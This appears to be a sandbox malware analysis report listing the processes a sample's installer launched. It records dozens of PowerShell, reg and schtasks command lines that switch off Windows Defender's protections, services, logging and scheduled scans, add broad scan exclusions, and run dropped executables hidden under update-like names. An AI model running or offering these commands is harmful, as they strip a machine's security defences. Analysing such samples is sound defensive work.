Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6 -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -ScanScheduleDay 8 -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -DisableCatchupFullScan 1 -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -DisableCatchupQuickScan 1 -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -DisableScriptScanning 1 -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -ScanAvgCPULoadFactor 5 -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -ServiceHealthReportInterval 0 -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -UnknownThreatDefaultAction 6 -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSI551D.tmp "C:\Windows\Installer\MSI551D.tmp" /EnforcedRunAsAdmin /DontWait /RunAsAdmin /HideWindow "C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe"
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSIBF81.tmp "C:\Windows\Installer\MSIBF81.tmp" /EnforcedRunAsAdmin /DontWait /HideWindow "C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\Narsil.exe"
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSIBF92.tmp "C:\Windows\Installer\MSIBF92.tmp" /EnforcedRunAsAdmin /DontWait /HideWindow "C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe"
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSIBFC2.tmp "C:\Windows\Installer\MSIBFC2.tmp" /EnforcedRunAsAdmin /DontWait /RunAsAdmin /HideWindow "C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -PUAProtection disable" -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10 /nobreak
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\5C5C.tmp\5C5D.tmp\5C5E.bat C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\user\Appdata\Local" -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Add-MpPreference -ExclusionPath "C:\ProgramData" -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Windows" -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Add-MpPreference -AttackSurfaceReductionOnlyExclusions "C:\Users\user\Appdata\Local" -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Add-MpPreference -ExclusionProcess "MsBuild.exe" -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -PUAProtection disable" -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6 -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6 -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6 -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -ScanScheduleDay 8 -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -DisableCatchupFullScan 1 -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -DisableCatchupQuickScan 1 -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -DisableScriptScanning 1 -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -ScanAvgCPULoadFactor 5 -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -ServiceHealthReportInterval 0 -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -UnknownThreatDefaultAction 6 -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: JWQgbclQK5

Static file information: File size 33220376 > 1048576

Data Obfuscation

Yara detected Costura Assembly Loader

Source: Yara match	File source: 00000037.00000002.1817217674.0000000004DC3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000037.00000002.1802305485.0000000003035000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000037.00000002.1951876750.0000000007470000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000037.00000002.1879276919.0000000006654000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000037.00000002.1879276919.0000000006141000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000076.00000002.2429256257.00000000031F5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000078.00000002.2419373692.000001B22960C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000078.00000002.2419373692.000001B22973A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: JWQgbclQK5

Static PE information: section name: .sxdata

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\msiexec.exe	Executable created and started: C:\Windows\Installer\MSIBF81.tmp
Source: C:\Windows\System32\msiexec.exe	Executable created and started: C:\Windows\Installer\MSI551D.tmp
Source: C:\Windows\System32\msiexec.exe	Executable created and started: C:\Windows\Installer\MSIBFC2.tmp
Source: C:\Windows\System32\msiexec.exe	Executable created and started: C:\Windows\Installer\MSIBF92.tmp

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC26F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC30F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBFC2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	File created: C:\Users\user\AppData\Local\Temp\shi3348.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBF92.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC28.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\networkbroker.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI12E1.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI9F3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC2DF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF889.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC26F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC30F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBFC2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBF92.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC28.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI12E1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI9F3.tmp	Jump to dropped file
